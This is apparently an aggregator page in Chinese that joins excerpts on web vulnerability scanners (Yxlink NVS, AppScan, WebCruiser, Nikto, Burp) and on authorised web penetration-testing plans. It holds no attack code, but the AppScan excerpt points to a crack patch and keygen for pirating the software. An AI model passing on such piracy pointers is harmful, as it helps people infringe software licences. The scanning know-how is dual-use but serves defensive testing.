本文主要告诉大家好用的web漏洞扫描工具有哪些，众所周知，网站中存在漏洞会让企业网站出现不能进入或者缺少内容等问题，甚至会存在竞争对手或者黑客利用漏洞恶意修改公司网站，故此找出漏洞的所在实为关键，web漏洞扫描工具有哪些？下面为大家简单的介绍一下。 新一代漏洞扫描系统──快速系统扫描各种漏洞 铱迅漏洞扫描系统（英文：Yxlink Network Vulnerability Scan System，简称：Yxlink NVS）,是支持IP地址段批量反查域名、内网穿透扫描的专业漏洞扫描器，可支持主机漏洞扫描、Web漏洞扫描、弱密码扫描等。 铱迅漏洞扫描系统可以广泛用于扫描数据库、操作系统、邮件系统、Web服务器等平台。通过部署铱迅漏洞扫描系统，快速掌握主机中存在的脆弱点，能够降低与缓解主机中的漏洞造成的威胁与损失。 批量扫描 传统的漏洞扫描产品，仅仅可以扫描指定的域名，而铱迅漏洞扫描系统允许扫描一个大型的IP地址段，通过铱迅基础域名数据库，反查每个IP地址中指向的域名，再进行扫描，大大增加扫描的效率，增强易操作度。 庞大漏洞库支撑 铱迅漏洞扫描系统拥有全面的漏洞库和即时更新能力，是基于国际CVE标准建立的，分为紧急、高危、中等、轻微、信息五个级别，提供超过5万条以上的漏洞库，可以全面扫描到各种类型的漏洞。 远程桌面弱口令探测 铱迅漏洞扫描系统，是唯一可以提供远程桌面（3389服务）弱口令探测功能的安全产品。如果计算机存在远程桌面弱口令，攻击者就可以直接对计算机进行控制。
CVE、CNNVD、Metasploit编号兼容 铱迅漏洞扫描系统，兼容CVE、CNNVD、Metasploit编号。为客户提供CVE兼容的漏洞数据库，以便达到更好的风险控制覆盖范围，实现更容易的协同工作能力，提高客户整个企业的安全能力。注：CVE，是国际安全组织Common Vulnerabilities & Exposures 通用漏洞披露的缩写，为每个漏洞和暴露确定了唯一的名称。 可利用漏洞显示 铱迅漏洞扫描系统，可以结合Metasploit（注：Metasploit是国际著名的开源安全漏洞检测工具），提示哪些漏洞是可以被攻击者利用，这样网络管理者可以优先对于可利用的漏洞进行修补。 下面来看一看铱迅漏洞扫描系统有哪些型号吧。 产品型号——简要描述 Yxlink NVS-2000——1U，5个任务并发，限制扫描指定256个IP地址 Yxlink NVS-2020——1U，3个任务并发，不限IP地址扫描 Yxlink NVS-2020P——采用专用便携式硬件设备，3个任务并发，不限IP地址扫描Yxlink NVS-6000——1U，20个任务并发，限制扫描指定1024个IP地址 Yxlink NVS-6020——1U，15个任务并发，不限IP地址扫描 Yxlink NVS-6020P——采用专用便携式硬件设备，15个任务并发，不限IP地址扫描Yxlink NVS-8000——2U，40个任务并发，限制扫描指定2048个IP地址 Yxlink NVS-8020——1U，30个任务并发，不限IP地址扫描
web安全测试
web安全测试---AppScan扫描工具 2012-05-27 22:36 by 虫师, 48076 阅读, 4 评论, 收藏, 编辑 安全测试应该是测试中非常重要的一部分，但他常常最容易被忽视掉。 尽管国内经常出现各种安全事件，但没有真正的引起人们的注意。不管是开发还是测试都不太关注产品的安全。当然，这也不能怪我们苦B的“民工兄弟”。因为公司的所给我们的时间与精力只要求我们对产品的功能的实现以及保证功能的正常运行。一方面出于侥幸心理。谁没事会攻击我？ 关于安全测试方面的资料也很少，很多人所知道的就是一本书，一个工具。 一本书值《web安全测试》，这应该是安全测试领域维数不多又被大家熟知的安全测试书，我曾看过前面几个章节，唉，鄙视一下自己，做事总喜欢虎头蛇尾。写得非常好，介绍了许多安全方面的工具和知识。我觉得就算你不去做专业的安全开发\测试人员。起码可以开阔你的视野，使你在做开发或测试时能够考虑到产品安全方面的设计。防患于未然总是好的，如果你想成为一个优秀的人。 一个工具，其实本文也只是想介绍一下，这个工具----AappScan，IBM的这个web安全扫描工具被许多人熟知，相关资料也很多，因为我也摸了摸它的皮毛，所以也来人说两句，呵呵！说起sappScan，对它也颇有些感情，因为，上一份工作的时候，我摸过于测试相关的许多工具，AappScan是其它一个，当时就觉得这工具这么强大，而且还这么傻瓜！！^ _^! 于是，后面在面试的简历上写了这个工具，应聘现在的这家公司，几轮面试下来都问 到过这个工具，因为现在这家公司一直在使用这个工具做安全方面的扫描。我想能来这家公司和我熟悉AappScan应该有一点点的关系吧！呵呵 AappScan下载与安装 IBM官方下载;https://www.wendangku.net/doc/6b10088689.html, ... 2-AppScan_Setup.exe 本连接为7.8 简体中文版本的 破解补丁；https://www.wendangku.net/doc/6b10088689.html,/down/index/4760606A4753 破解补丁中有相应的注册机与破解步骤，生成注册码做一下替换就OK了，这里不细说。
WEB漏洞检测与评估系统实施方案
W E B漏洞检测与评估系统实施方案一、背景 WEB网站是互联网上最为丰富的资源呈现形式，由于其访问简单、拓展性好等优点，目前在资讯、电子政务、电子商务和企业管理等诸多领域得到了广泛的应用。与此同时，WEB网站也面临着数量庞大、种类繁多的安全威胁，操作系统、通信协议、服务发布程序和编程语言等无不存在大量安全漏洞。根据国家互联网应急中心最新监测分析报告的发布，一个令人触目惊心的数据引发各方关注：“1月4日至10日，境内被篡改政府网站数量为178个，与前一周相比大幅增长409%，其占境内被篡改网站总数的比例也大幅增长为31%。”不仅政府网站，近年来各种Web网站攻击事件也是频频发生，网站SQL注入，网页被篡改、信息失窃、甚至被利用成传播木马的载体---Web安全威胁形势日益严峻。 Web网站的安全事件频频发生，究其根源，关键原因有二：一是Web 网站自身存在技术上的安全漏洞和安全隐患；二是相关的防护设备和防护手段欠缺。Web网站的体系架构一般分为三层，底层是操作系统，中间层是Web服务程序、数据库服务等通用组件，上层是内容和业务相关的网页程序。这三层架构中任何一层出现了安全问题都会导致整个Web网站受到威胁，而这三层架构中任何一层都不可避免地存在安全漏洞，底层的操作系统（不管是Windows还是Linux）都不时会有黑客可以远程利用的安全漏洞被发现和公布；中间层的Web服务器（IIS或Apache等）、ASP、PHP 等也常会有漏洞爆出；上层的网页程序有SQL注入漏洞、跨站脚本漏洞等
Web相关的漏洞。另一方面，目前很多Web网站的防护设备和防护手段不够完善，虽然大部分网站都部署了防火墙，但针对Web网站漏洞的攻击都是应用层的攻击，都可以通过80端口完成，所以防火墙对这类攻击也是无能为力，另外，有些网站除了部署防火墙外还部署了IDS/IPS，但同样都存在有大量误报情况，导致检测精度有限，为此，攻击性测试成为发现和解决WEB安全问题最有效和最直接的手段。 WEB漏洞检测与评估是通过模拟恶意黑客的攻击方法，来评估计算机网络系统安全的一种方法。这个过程包括对系统的任何弱点、技术缺陷或漏洞的主动分析，这个分析是从一个攻击者可能存在的位置来进行的，并且从这个位置有条件主动利用安全漏洞。WEB漏洞检测与评估系统是作为WEB检测的专用系统，用于发现操作系统和任何网络服务，并检查这些网络服务有无漏洞。 二、概述 WEB漏洞检测与评估系统是集基本信息扫描、操作系统指纹扫描、开放服务扫描、OS漏洞扫描、WEB漏洞扫描于一体的专业自动化扫描系统，并通过扫描插件、知识库和检测结果的可拓展对其检测能力进行扩充，为实施攻击性测试对WEB信息系统进行全面的、深入的、彻底的风险评估和参数获取，全面获得目标系统的基本信息、漏洞信息、服务信息等。三、系统部署与使用 用户通过账户和密码登录到扫描服务器系统，进入扫描任务，输入任务名称和扫描目标主机的网址或IP，选择需要进行扫描的模块（主要包括
WebCruiser安全扫描工具用户手册V2.0
WebCruiser Web安全扫描工具用户指导 目录 1.软件简介 (2) 2.主要功能 (3) 2.1.POST数据重放 (3) 2.2.多功能Web浏览器 (5) 2.2.1.POST Web浏览器 (5) 2.2.2.Cookie Web浏览器 (7) 2.3.自动填表 (9) 2.4.漏洞扫描器 (10) 2.5.SQL注入 (12) 2.5.1.POST SQL注入 (12) 2.5.2.Cookie SQL注入Demo (14) 2.5.3.跨站SQL注入 (17) 2.6.跨站脚本 (17) 2.7.XPath 注入 (19) 2.8.报告 (20) 2.9.绕过字符串过滤进行注入 (22) 3.订单/注册 (24) 4.FAQ (24) V2.0 by https://www.wendangku.net/doc/6b10088689.html, https://www.wendangku.net/doc/6b10088689.html,
1. 软件简介 WebCruiser - Web安全扫描工具 WebCruiser - Web安全扫描工具, 一个小巧但功能不凡的Web应用漏洞扫描器，能够对整个网站进行漏洞扫描，并能够对发现的漏洞（SQL注入，跨站脚本，XPath注入等）进行验证；它也可以单独进行漏洞验证，作为SQL注入工具、XPath注入工具、跨站检测工具使用。 运行平台：Windows with .Net FrameWork 2.0或以上。 功能简介： * 网站爬虫（目录及文件）； * 漏洞扫描（SQL注入，跨站脚本，XPath注入）； * 漏洞验证（SQL注入，跨站脚本，XPath注入）； * SQL Server明文/字段回显/盲注； * MySQL字段回显/盲注； * Oracle字段回显/盲注/跨站注入； * DB2字段回显/盲注； * Access字段回显/盲注； * POST数据修改与重放； * 管理入口查找； * GET/Post/Cookie 注入； * 搜索型注入延时；
十大Web安全扫描工具
扫描程序可以在帮助造我们造就安全的Web站点上助一臂之力，也就是说在黑客“黑”你之前，先测试一下自己系统中的漏洞。我们在此推荐10大Web漏洞扫描程序，供您参考。 1. Nikto 这是一个开源的Web服务器扫描程序，它可以对Web服务器的多种项目(包括3500个潜在的危险文件/CGI，以及超过900个服务器版本，还有250多个服务器上的版本特定问题)进行全面的测试。其扫描项目和插件经常更新并且可以自动更新(如果需要的话)。 Nikto可以在尽可能短的周期内测试你的Web服务器，这在其日志文件中相当明显。不过，如果你想试验一下(或者测试你的IDS系统)，它也可以支持LibWhisker的反IDS方法。 不过，并非每一次检查都可以找出一个安全问题，虽然多数情况下是这样的。有一些项目是仅提供信息(“info only” )类型的检查，这种检查可以查找一些并不存在安全漏洞的项目，不过Web管理员或安全工程师们并不知道。这些项目通常都可以恰当地标记出来。为我们省去不少麻烦。 2. Paros proxy 这是一个对Web应用程序的漏洞进行评估的代理程序，即一个基于Java的web代理程序，可以评估Web应用程序的漏洞。它支持动态地编辑/查看HTTP/HTTPS,从而改变cookies 和表单字段等项目。它包括一个Web通信记录程序，Web圈套程序(spider)，hash 计算器，还有一个可以测试常见的Web应用程序攻击(如SQL注入式攻击和跨站脚本攻击)的扫描器。 3. WebScarab 它可以分析使用HTTP 和HTTPS协议进行通信的应用程序，WebScarab可以用最简单地形式记录它观察的会话，并允许操作人员以各种方式观查会话。如果你需要观察一个基于HTTP(S)应用程序的运行状态，那么WebScarabi就可以满足你这种需要。不管是帮助开发人员调试其它方面的难题，还是允许安全专业人员识别漏洞，它都是一款不错的工具。 4. WebInspect 这是一款强大的Web应用程序扫描程序。SPI Dynamics的这款应用程序安全评估工具有助于确认Web应用中已知的和未知的漏洞。它还可以检查一个Web服务器是否正确配置，并会尝试一些常见的Web攻击，如参数注入、跨站脚本、目录遍历攻击(directory traversal)等等。 5. Whisker/libwhisker Libwhisker是一个Perla模块，适合于HTTP测试。它可以针对许多已知的安全漏洞，测试HTTP服务器，特别是检测危险CGI的存在。Whisker是一个使用libwhisker的扫描程序。 6. Burpsuite 这是一个可以用于攻击Web应用程序的集成平台。Burp套件允许一个攻击者将人工的和自
最新Web应用安全测试方案
1Web安全测试技术方案 1.1测试的目标 ●更好的发现当前系统存在的可能的安全隐患，避免发生危害性的安全事件 ●更好的为今后系统建设提供指导和有价值的意见及建议 1.2测试的范围 本期测试服务范围包含如下各个系统： ●Web系统： 1.3测试的内容 1.3.1WEB应用 针对网站及WEB系统的安全测试，我们将进行以下方面的测试： ?Web 服务器安全漏洞 ?Web 服务器错误配置 ?SQL 注入 ?XSS（跨站脚本） ?CRLF 注入 ?目录遍历 ?文件包含 ?输入验证 ?认证 ?逻辑错误 ?Google Hacking ?密码保护区域猜测 ?字典攻击 ?特定的错误页面检测 ?脆弱权限的目录 ?危险的 HTTP 方法（如：PUT、DELETE） 1.4测试的流程 方案制定部分：
获取到客户的书面授权许可后，才进行安全测试的实施。并且将实施范围、方法、时间、人员等具体的方案与客户进行交流，并得到客户的认同。 在测试实施之前，让客户对安全测试过程和风险知晓，使随后的正式测试流程都在客户的控制下。 信息收集部分： 这包括：操作系统类型指纹收集；网络拓扑结构分析；端口扫描和目标系统提供的服务识别等。采用商业和开源的检测工具（AWVS、burpsuite、Nmap等）进行收集。 测试实施部分： 在规避防火墙、入侵检测、防毒软件等安全产品监控的条件下进行：操作系统可检测到的漏洞测试、应用系统检测到的漏洞测试（如：Web应用），此阶段如果成功的话，可能获得普通权限。 安全测试人员可能用到的测试手段有：扫描分析、溢出测试、口令爆破、社会工程学、客户端攻击、中间人攻击等，用于测试人员顺利完成工程。在获取到普通权限后，尝试由普通权限提升为管理员权限，获得对系统的完全控制权。此过程将循环进行，直到测试完成。最后由安全测试人员清除中间数据。 分析报告输出： 安全测试人员根据测试的过程结果编写直观的安全测试服务报告。内容包括：具体的操作步骤描述；响应分析以及最后的安全修复建议。 下图是更为详细的步骤拆分示意图：
WEB安全测试分类及防范测试方法
WEB安全测试分类及防范测试方法 1 Web 应用程序布署环境测试 (3) 1.1HTTP 请求引发漏洞的测试 (3) 1.2 操作系统目录安全性及Web 应用程序布署环境目录遍历问题测试 (3) 2 应用程序测试 (4) 2.1 SQL 注入漏洞测试 (4) 2.1.1 SQL注入漏洞攻击实现原理 (4) 2.1.2 SQL注入漏洞防范措施 (5) 2.1.3 SQL注入漏洞检测方法 (6) 2.2 表单漏洞测试 (7) 2.2.1 表单漏洞实现原理 (7) 2.2.2 表单漏洞防范措施 (7) 2.2.3 表单漏洞检测方法 (7) 2.3 Cookie欺骗漏洞测试 (9) 2.3.1 Cookie欺骗实现原理 (9) 2.3.2 Cookie欺骗防范措施 (9) 2.3.3 Cookie欺骗监测方法 (9) 2.4 用户身份验证测试 (10) 2.4.1 用户身份验证漏洞防范措施 (10) 2.4.2 用户身份验证检测方法 (10) 2.5 文件操作漏洞测试 (10) 2.5.1 文件操作漏洞实现原理 (10) 2.5.2 文件操作漏洞防范措施 (10) 2.5.3 文件操作漏洞检测方法 (11) 2.6 Session 测试 (11) 2.6.1 客户端对服务器端的欺骗攻击 (11) 2.6.2直接对服务器端的欺骗攻击 (12) 2.6.3 Session漏洞检测方法 (13) 2.7 跨网站脚本(XSS)漏洞测试 (13) 2.7.1 跨网站脚本（XSS）漏洞实现原理 (13) 2.7.2 跨网站脚本（XSS）漏洞防范措施 (14) 2.7.3 跨网站脚本（XSS）漏洞测试方法 (14) 2.8 命令注射漏洞测试 (15) 2.9 日志文件测试 (15) 2.10 访问控制策略测试 (15) 2.10.1 访问控制策略测试方法 (15) 3 数据库问题测试 (16) 3.1 数据库名称和存放位置安全检测 (16) 3.2 数据库本身的安全检测 (16) 3.3 数据使用时的一致性和完整性测试 (16) 4 容错测试 (16) 4.1 容错方案及方案一致性测试 (16) 4.2 接口容错测试 (17)